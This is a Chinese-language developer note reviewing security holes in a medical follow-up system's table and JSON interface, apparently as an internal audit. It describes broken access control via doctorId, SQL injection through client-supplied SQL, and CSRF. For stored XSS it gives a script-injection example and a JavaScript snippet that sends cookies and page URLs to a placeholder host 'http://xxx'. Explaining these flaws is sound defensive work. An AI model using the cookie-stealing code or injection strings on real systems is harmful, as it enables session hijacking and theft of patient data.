@sqzrcc
2015-05-04T08:16:14.000000Z
字数 4191
阅读 1510
目前项目中大量的表格都是通过itable来请求Json接口来进行读取数据展示,涉及到几个问题
运行流程:
itable 初始化流程:
定义好一个table,在code处指定要执行的sql代码(在后台配置),itable初始化时去Json接口读取数据来进行展示
在随诊处,读取当前医生的所有随诊:
<table id="followup_table" class="table table-striped"
model="PhrFollowUp" code="phrFollowUp" search="true" refresh="true"
edit="true" remove="true" pageSize=10>
<thead>
<tr>
<th field="id" style="display: none;">ID</th>
<th field="personName">姓名</th>
<th field="diagnosis">诊断</th>
<th field="startdate">发起时间</th>
<th field="status" select="true">完成状态</th>
<th field="enddate">完成时间</th>
<th type="render" render="contentTemName">随诊内容</th>
<th type="render" render="programTemName">指导方案</th>
<th field="followupTime">随诊频率</th>
<th field="tipss">提醒方式</th>
<th type="edit">操作</th>
</tr>
</thead>
</table>
然后通过js去初始化这个table:
var followup_table = new iTables("#followup_table", {
doctorId: loginId // 传入当前登陆的用户
}, function () {
});
对应的会去搜索在后台配置的code为phrFollowUp
的sql语句:
select t.*,to_char(trunc (t.start_date),'yyyy-mm-dd') as startdate,to_char(trunc (t.end_date),'yyyy-mm-dd') as enddate,e.name as doctor_name,p.name as
person_name,m1.name as content_tem_name,m2.name as program_tem_name
from phr_follow_up t
left join md_employee e on e.id = t.doctor_id
left join md_person p on p.id = t.md_person_id
left join emr_template m1 on m1.id = t.content_tem_id
left join emr_template m2 on m2.id = t.program_tem_id
where t.doctor_id != '0'
然后会自动拼接条件:
where t.doctor_id = 4 // js中传入进来的id
存在的问题:
由于大部分操作都在js中去操作,js又是运行在用户游览器上的,用户可以任意去修改代码,或者抓包查看itable的请求来达到读取任意医生的信息:
一个正常合法的接口请求:
http://www.oijiankang.com//crud/json!query?config.sqlCode=phrPersonAction&doctorId=4
用户可以任意修改doctorId的值来达到获取任意医生的信息
一个非法的请求
http://www.oijiankang.com//crud/json!query?config.sqlCode=phrPersonAction&doctorId=5 // 或者 6 7 8 9 就可以读取对应医生的随诊信息
等等...
由于是统一接口,甚至可以未登陆就进行接口的请求,或者一个居民的权限,也能进行请求.
由于在curd/json中有些参数还可以自己传sql过去执行,导致一个sql注入的问题,正常的sql:
select * from md_person where id = 4 //(where id = 4)是由前台传过来的
//如果传过来的是(where id = 4 union select password from admin)
更多的gbk宽字符注入... utf-8注入等..
/crud/json!query?config.sqlcode=getPatients&doctorId=5
),这样就拿到医生id为5的病人了.用户可以任意的去修改doctorid的值),如果交给action中,通过REST API GET /patients
在Action中再去读取当前登陆的医生id,但存在的问题: 在编辑或者新增的地方插入js代码:
代码会直接被执行:
这只会弹一个alert框,如果我们这样写:
刘宇<script src='http://xxx/1.js'></script>
这样游览器就会去加载http://xxx/1.js
代码去执行.在1.js里面 就可以写很多操作:
(function() { (new Image()).src = 'http://xxx?location=' + escape((function() {
try {
return document.location.href
} catch(e) {
return ''
}
})()) + '&toplocation=' + escape((function() {
try {
return top.location.href
} catch(e) {
return ''
}
})()) + '&cookie=' + escape((function() {
try {
return document.cookie
} catch(e) {
return ''
}
})()) + '&opener=' + escape((function() {
try {
return (window.opener && window.opener.location.href) ? window.opener.location.href: ''
} catch(e) {
return ''
}
})());
})();
if ('1' == 1) {
keep = new Image();
keep.src = 'http://xxxx?url=' + escape(document.location) + '&cookie=' + escape(document.cookie)
};
去构造一个图片.. 加载到网站上..js可以读取到你本地的cookie,然后拼接成一个图片链接,图片的url为:
ttp://xxx?url=你的cookie // xxx为我的网站,当执行后,就插入到页面中,游览器会带上你的cookie信息去读取到图片,我在后台就能读取到用户的cookie
如果是用户反馈,反馈到后台,后台一执行js代码,对方就能拿到请求图片的地址,和图片中带上的cookie信息
对标签进行转移输出 < / " 等特殊符号,但在电子病历中会有这种正常的标签,比如<p>
<img>
<br>
等,如果过滤后这些标签将会失效。这种称为富文本数据,解决的办法是写规则,判断是否有害.但由于js非常灵活,加上html5以后引入了非常多的特性.. <img onload=alert(/x/)>
<img onerror=alert(/x/)>
<img onfoce=alert(/xxx/)>
..... 非常多,要制作这个过滤器将花费不少的时间,还有对一些特殊编码,比如utf-8后会遇到截断的问题 ...还需要处理好%00 截断等各种问题
假设要发表一条微博:POST /webo
,然后把post内容传过去..如果有xss漏洞.用js去构造一个ajax..让被执行的用户通过ajax带上他自己的cookie去POST /weibo 这样用户在无知觉的情况下就发表了微博..如果是微博还好,但如果是后台管理员要新增管理员 删除管理员.. 或者直接知道后台某些地方能上传木马.直接ajax让管理员带上自己的cookie去后台上传木马.
给每个请求都带上token的东西. 比如我进入 /index 会生成一个token..在 POST /weibo
的时候会把这个token给带上,后台判断token正确才让发,不正确就不让发..这样就可以解决csrf的问题